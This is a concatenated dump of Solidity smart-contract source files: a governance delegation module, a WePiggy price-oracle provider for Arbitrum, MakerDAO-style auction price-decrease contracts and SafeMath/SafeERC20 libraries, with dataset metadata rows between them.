// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate,
uint256 previousBalance,
uint256 newBalance);
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0),
"CAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++,
"CAKE::delegateBySig: invalid nonce");
require(now <= expiry, "CAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number,
"CAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep,
address dstRep,
uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number,
"CAKE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber,
newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
| 319,249 | 135 |
d51fb09600b43accbbf96edb0eeed5ab27d7db93fc8d06268468ca5962262d30
| 24,653 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/c4/c46972377559A3fb367a994a4f9EDc0A0297eFD3_WePiggyPriceProviderForArbWithSequencer.sol
| 4,333 | 17,204 |
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface WePiggyPriceOracleInterface {
function getPrice(address token) external view returns (uint);
function setPrice(address token, uint price, bool force) external;
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
}
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface
{
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface PTokenInterface {
function underlying() external view returns (address);
function symbol() external view returns (string memory);
}
interface CompoundPriceOracleInterface {
enum PriceSource {
FIXED_ETH, /// implies the fixedPrice is a constant multiple of the ETH price (which varies)
FIXED_USD, /// implies the fixedPrice is a constant multiple of the USD price (which is 1)
REPORTER /// implies the price is set by the reporter
}
/// @dev Describe how the USD price should be determined for an asset.
/// There should be 1 TokenConfig object for each supported asset, passed in the constructor.
struct CTokenConfig {
address cToken;
address underlying;
bytes32 symbolHash;
uint256 baseUnit;
PriceSource priceSource;
uint256 fixedPrice;
address uniswapMarket;
bool isUniswapReversed;
}
function getUnderlyingPrice(address cToken) external view returns (uint);
function getTokenConfigByUnderlying(address underlying) external view returns (CTokenConfig memory);
function getTokenConfigBySymbol(string memory symbol) external view returns (CTokenConfig memory);
}
contract WePiggyPriceProviderForArbWithSequencer is Ownable {
using SafeMath for uint256;
enum PriceOracleType{
ChainLink,
Compound,
Customer,
ChainLinkEthBase
}
struct PriceOracle {
address source;
PriceOracleType sourceType;
bool available;
}
//Config for pToken
struct TokenConfig {
address pToken;
address underlying;
string underlyingSymbol; //example: DAI
uint256 baseUnit; //example: 1e18
bool fixedUsd; //if true,will return 1*e36/baseUnit
}
mapping(address => TokenConfig) public tokenConfigs;
mapping(address => PriceOracle[]) public oracles;
mapping(address => address) public chainLinkTokenEthPriceFeed;
address public ethUsdPriceFeedAddress;
AggregatorV2V3Interface public sequencerUptimeFeed;
event ConfigUpdated(address pToken, address underlying, string underlyingSymbol, uint256 baseUnit, bool fixedUsd);
event PriceOracleUpdated(address pToken, PriceOracle[] oracles);
event ChainlinkFlagsUpdated(address oldOne, address newOne);
constructor(address _sequencerUptimeFeed) public {
sequencerUptimeFeed = AggregatorV2V3Interface(_sequencerUptimeFeed);
}
function getUnderlyingPrice(address _pToken) external view returns (uint){
uint256 price = 0;
TokenConfig storage tokenConfig = tokenConfigs[_pToken];
if (tokenConfig.fixedUsd) {//if true,will return 1*e36/baseUnit
price = 1;
return price.mul(1e36).div(tokenConfig.baseUnit);
}
PriceOracle[] storage priceOracles = oracles[_pToken];
for (uint256 i = 0; i < priceOracles.length; i++) {
PriceOracle storage priceOracle = priceOracles[i];
if (priceOracle.available == true) {// check the priceOracle is available
price = _getUnderlyingPriceInternal(_pToken, tokenConfig, priceOracle);
if (price > 0) {
return price;
}
}
}
// price must bigger than 0
require(price > 0, "price must bigger than zero");
return 0;
}
function _getUnderlyingPriceInternal(address _pToken, TokenConfig memory tokenConfig, PriceOracle memory priceOracle) internal view returns (uint){
address underlying = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
PTokenInterface pToken = PTokenInterface(_pToken);
if (!compareStrings(pToken.symbol(), "pETH")) {
underlying = address(PTokenInterface(_pToken).underlying());
}
PriceOracleType sourceType = priceOracle.sourceType;
if (sourceType == PriceOracleType.ChainLink) {
return _getChainlinkPriceInternal(priceOracle, tokenConfig);
} else if (sourceType == PriceOracleType.Compound) {
return _getCompoundPriceInternal(priceOracle, tokenConfig);
} else if (sourceType == PriceOracleType.Customer) {
return _getCustomerPriceInternal(priceOracle, tokenConfig);
} else if (sourceType == PriceOracleType.ChainLinkEthBase) {
return _getChainLinkEthBasePriceInternal(priceOracle, tokenConfig);
}
return 0;
}
function _getCustomerPriceInternal(PriceOracle memory priceOracle, TokenConfig memory tokenConfig) internal view returns (uint) {
address source = priceOracle.source;
WePiggyPriceOracleInterface customerPriceOracle = WePiggyPriceOracleInterface(source);
uint price = customerPriceOracle.getPrice(tokenConfig.underlying);
if (price <= 0) {
return 0;
} else {//return: (price / 1e8) * (1e36 / baseUnit) ==> price * 1e28 / baseUnit
return uint(price).mul(1e28).div(tokenConfig.baseUnit);
}
}
// Get price from compound oracle
function _getCompoundPriceInternal(PriceOracle memory priceOracle, TokenConfig memory tokenConfig) internal view returns (uint) {
address source = priceOracle.source;
CompoundPriceOracleInterface compoundPriceOracle = CompoundPriceOracleInterface(source);
CompoundPriceOracleInterface.CTokenConfig memory ctc = compoundPriceOracle.getTokenConfigBySymbol(tokenConfig.underlyingSymbol);
address cTokenAddress = ctc.cToken;
return compoundPriceOracle.getUnderlyingPrice(cTokenAddress);
}
// Get price from chainlink oracle
function _getChainlinkPriceInternal(PriceOracle memory priceOracle, TokenConfig memory tokenConfig) internal view returns (uint){
require(tokenConfig.baseUnit > 0, "baseUnit must be greater than zero");
if (checkSequencerState()) {
// If the sequencer is down, do not perform any critical operations
revert("L2 sequencer down: Chainlink feeds are not being updated");
}
AggregatorV3Interface priceFeed = AggregatorV3Interface(priceOracle.source);
(,int price,,,) = priceFeed.latestRoundData();
if (price <= 0) {
return 0;
} else {//return: (price / 1e8) * (1e36 / baseUnit) ==> price * 1e28 / baseUnit
return uint(price).mul(1e28).div(tokenConfig.baseUnit);
}
}
// base chainlink: token-ETH-USD
function _getChainLinkEthBasePriceInternal(PriceOracle memory priceOracle, TokenConfig memory tokenConfig) internal view returns (uint){
require(tokenConfig.baseUnit > 0, "baseUnit must be greater than zero");
if (checkSequencerState()) {
// If the sequencer is down, do not perform any critical operations
revert("L2 sequencer down: Chainlink feeds are not being updated");
}
address token = tokenConfig.underlying;
AggregatorV3Interface tokenEthPriceFeed = AggregatorV3Interface(chainLinkTokenEthPriceFeed[token]);
(,int tokenEthPrice,,,) = tokenEthPriceFeed.latestRoundData();
AggregatorV3Interface ethUsdPriceFeed = AggregatorV3Interface(ethUsdPriceFeedAddress);
(,int ethUsdPrice,,,) = ethUsdPriceFeed.latestRoundData();
if (tokenEthPrice <= 0) {
return 0;
} else {// tokenEthPrice/1e18 * ethUsdPrice/1e8 * 1e36 / baseUnit
return uint(tokenEthPrice).mul(uint(ethUsdPrice)).mul(1e10).div(tokenConfig.baseUnit);
}
}
function checkSequencerState() public view returns (bool sequencerIsUp) {
(uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound) = sequencerUptimeFeed.latestRoundData();
// Answer == 0: Sequencer is up
// Snswer == 1: Sequencer is down
if (answer == 0 && (block.timestamp - updatedAt) < 3600) {
return true;
}
return false;
}
function addTokenConfig(address pToken, address underlying, string memory underlyingSymbol, uint256 baseUnit, bool fixedUsd,
address[] memory sources, PriceOracleType[] calldata sourceTypes) public onlyOwner {
require(sources.length == sourceTypes.length, "sourceTypes.length must equal than sources.length");
// add TokenConfig
TokenConfig storage tokenConfig = tokenConfigs[pToken];
require(tokenConfig.pToken == address(0), "bad params");
tokenConfig.pToken = pToken;
tokenConfig.underlying = underlying;
tokenConfig.underlyingSymbol = underlyingSymbol;
tokenConfig.baseUnit = baseUnit;
tokenConfig.fixedUsd = fixedUsd;
// add priceOracles
require(oracles[pToken].length < 1, "bad params");
for (uint i = 0; i < sources.length; i++) {
PriceOracle[] storage list = oracles[pToken];
list.push(PriceOracle({
source : sources[i],
sourceType : sourceTypes[i],
available : true
}));
}
emit ConfigUpdated(pToken, underlying, underlyingSymbol, baseUnit, fixedUsd);
emit PriceOracleUpdated(pToken, oracles[pToken]);
}
function addOrUpdateTokenConfigSource(address pToken, uint256 index, address source, PriceOracleType _sourceType, bool available) public onlyOwner {
PriceOracle[] storage list = oracles[pToken];
if (list.length > index) {//will update
PriceOracle storage oracle = list[index];
oracle.source = source;
oracle.sourceType = _sourceType;
oracle.available = available;
} else {//will add
list.push(PriceOracle({
source : source,
sourceType : _sourceType,
available : available
}));
}
}
function updateTokenConfigBaseUnit(address pToken, uint256 baseUnit) public onlyOwner {
TokenConfig storage tokenConfig = tokenConfigs[pToken];
require(tokenConfig.pToken != address(0), "bad params");
tokenConfig.baseUnit = baseUnit;
emit ConfigUpdated(pToken, tokenConfig.underlying, tokenConfig.underlyingSymbol, baseUnit, tokenConfig.fixedUsd);
}
function updateTokenConfigFixedUsd(address pToken, bool fixedUsd) public onlyOwner {
TokenConfig storage tokenConfig = tokenConfigs[pToken];
require(tokenConfig.pToken != address(0), "bad params");
tokenConfig.fixedUsd = fixedUsd;
emit ConfigUpdated(pToken, tokenConfig.underlying, tokenConfig.underlyingSymbol, tokenConfig.baseUnit, fixedUsd);
}
function setEthUsdPriceFeedAddress(address feedAddress) public onlyOwner {
ethUsdPriceFeedAddress = feedAddress;
}
function addOrUpdateChainLinkTokenEthPriceFeed(address[] memory tokens, address[] memory chainLinkTokenEthPriceFeeds) public onlyOwner {
require(tokens.length == chainLinkTokenEthPriceFeeds.length, "tokens.length must equal than chainLinkTokenEthPriceFeeds.length");
for (uint i = 0; i < tokens.length; i++) {
address token = tokens[i];
chainLinkTokenEthPriceFeed[token] = chainLinkTokenEthPriceFeeds[i];
}
}
function getOracleSourcePrice(address pToken, uint sourceIndex) public view returns (uint){
TokenConfig storage tokenConfig = tokenConfigs[pToken];
PriceOracle[] storage priceOracles = oracles[pToken];
return _getUnderlyingPriceInternal(pToken, tokenConfig, priceOracles[sourceIndex]);
}
function compareStrings(string memory a, string memory b) internal pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))));
}
function oracleLength(address pToken) public view returns (uint){
PriceOracle[] storage priceOracles = oracles[pToken];
return priceOracles.length;
}
}
| 37,402 | 136 |
5f8f63332aa386ef99d666c04376968d4c75b427aece03307809b4fa704557fe
| 9,713 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/92/92F3f24e6B8c02a864Bf71A1a17Ec5035d0184C9_StairstepExponentialDecrease.sol
| 2,665 | 9,463 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.13;
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published
// by the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
interface Abacus {
// 1st arg: initial price [ray]
// 2nd arg: seconds since auction start [seconds]
// returns: current auction price [ray]
function price(uint256, uint256) external view returns (uint256);
}
contract LinearDecrease is Abacus {
// --- Auth ---
mapping(address => uint256) public wards;
function rely(address usr) external auth {
wards[usr] = 1;
emit Rely(usr);
}
function deny(address usr) external auth {
wards[usr] = 0;
emit Deny(usr);
}
modifier auth() {
require(wards[msg.sender] == 1, "LinearDecrease/not-authorized");
_;
}
// --- Data ---
uint256 public tau; // Seconds after auction start when the price reaches zero [seconds]
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event File(bytes32 indexed what, uint256 data);
// --- Init ---
constructor() public {
wards[msg.sender] = 1;
emit Rely(msg.sender);
}
// --- Administration ---
function file(bytes32 what, uint256 data) external auth {
if (what == "tau") tau = data;
else revert("LinearDecrease/file-unrecognized-param");
emit File(what, data);
}
// --- Math ---
uint256 constant RAY = 10 ** 27;
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x);
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x * y;
require(y == 0 || z / y == x);
z = z / RAY;
}
// Price calculation when price is decreased linearly in proportion to time:
// tau: The number of seconds after the start of the auction where the price will hit 0
// top: Initial price
// dur: current seconds since the start of the auction
//
// Returns y = top * ((tau - dur) / tau)
//
// Note the internal call to mul multiples by RAY, thereby ensuring that the rmul calculation
// which utilizes top and tau (RAY values) is also a RAY value.
function price(uint256 top, uint256 dur) external view override returns (uint256) {
if (dur >= tau) return 0;
return rmul(top, mul(tau - dur, RAY) / tau);
}
}
contract StairstepExponentialDecrease is Abacus {
// --- Auth ---
mapping(address => uint256) public wards;
function rely(address usr) external auth {
wards[usr] = 1;
emit Rely(usr);
}
function deny(address usr) external auth {
wards[usr] = 0;
emit Deny(usr);
}
modifier auth() {
require(wards[msg.sender] == 1, "StairstepExponentialDecrease/not-authorized");
_;
}
// --- Data ---
uint256 public step; // Length of time between price drops [seconds]
uint256 public cut; // Per-step multiplicative factor [ray]
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event File(bytes32 indexed what, uint256 data);
// --- Init ---
// @notice: `cut` and `step` values must be correctly set for
// this contract to return a valid price
constructor() public {
wards[msg.sender] = 1;
emit Rely(msg.sender);
}
// --- Administration ---
function file(bytes32 what, uint256 data) external auth {
if (what == "cut") {
require((cut = data) <= RAY, "StairstepExponentialDecrease/cut-gt-RAY");
} else if (what == "step") {
step = data;
} else {
revert("StairstepExponentialDecrease/file-unrecognized-param");
}
emit File(what, data);
}
// --- Math ---
uint256 constant RAY = 10 ** 27;
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x * y;
require(y == 0 || z / y == x);
z = z / RAY;
}
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 { z := b }
default { z := 0 }
}
default {
switch mod(n, 2)
case 0 { z := b }
default { z := x }
let half := div(b, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n, 2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0, 0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0, 0) }
x := div(xxRound, b)
if mod(n, 2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0, 0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0, 0) }
z := div(zxRound, b)
}
}
}
}
}
// top: initial price
// dur: seconds since the auction has started
// step: seconds between a price drop
// cut: cut encodes the percentage to decrease per step.
// For efficiency, the values is set as (1 - (% value / 100)) * RAY
// So, for a 1% decrease per step, cut would be (1 - 0.01) * RAY
//
// returns: top * (cut ^ dur)
//
//
function price(uint256 top, uint256 dur) external view override returns (uint256) {
return rmul(top, rpow(cut, dur / step, RAY));
}
}
// While an equivalent function can be obtained by setting step = 1 in StairstepExponentialDecrease,
contract ExponentialDecrease is Abacus {
// --- Auth ---
mapping(address => uint256) public wards;
function rely(address usr) external auth {
wards[usr] = 1;
emit Rely(usr);
}
function deny(address usr) external auth {
wards[usr] = 0;
emit Deny(usr);
}
modifier auth() {
require(wards[msg.sender] == 1, "ExponentialDecrease/not-authorized");
_;
}
// --- Data ---
uint256 public cut; // Per-second multiplicative factor [ray]
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event File(bytes32 indexed what, uint256 data);
// --- Init ---
// @notice: `cut` value must be correctly set for
// this contract to return a valid price
constructor() public {
wards[msg.sender] = 1;
emit Rely(msg.sender);
}
// --- Administration ---
function file(bytes32 what, uint256 data) external auth {
if (what == "cut") {
require((cut = data) <= RAY, "ExponentialDecrease/cut-gt-RAY");
} else {
revert("ExponentialDecrease/file-unrecognized-param");
}
emit File(what, data);
}
// --- Math ---
uint256 constant RAY = 10 ** 27;
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x * y;
require(y == 0 || z / y == x);
z = z / RAY;
}
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 { z := b }
default { z := 0 }
}
default {
switch mod(n, 2)
case 0 { z := b }
default { z := x }
let half := div(b, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n, 2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0, 0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0, 0) }
x := div(xxRound, b)
if mod(n, 2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0, 0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0, 0) }
z := div(zxRound, b)
}
}
}
}
}
// top: initial price
// dur: seconds since the auction has started
// cut: cut encodes the percentage to decrease per second.
// For efficiency, the values is set as (1 - (% value / 100)) * RAY
// So, for a 1% decrease per second, cut would be (1 - 0.01) * RAY
//
// returns: top * (cut ^ dur)
//
function price(uint256 top, uint256 dur) external view override returns (uint256) {
return rmul(top, rpow(cut, dur, RAY));
}
}
| 48,422 | 137 |
1a79b58a50804b0ca85fcd745bb51dae79a50ab961868a6ed966738c7fef6579
| 17,417 |
.sol
|
Solidity
| false |
423367112
|
Onedao-Finance/contracts
|
76a3388507ad174bea3c74a340e53f75e30c606e
|
StakingDistributor.sol
| 3,975 | 15,707 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
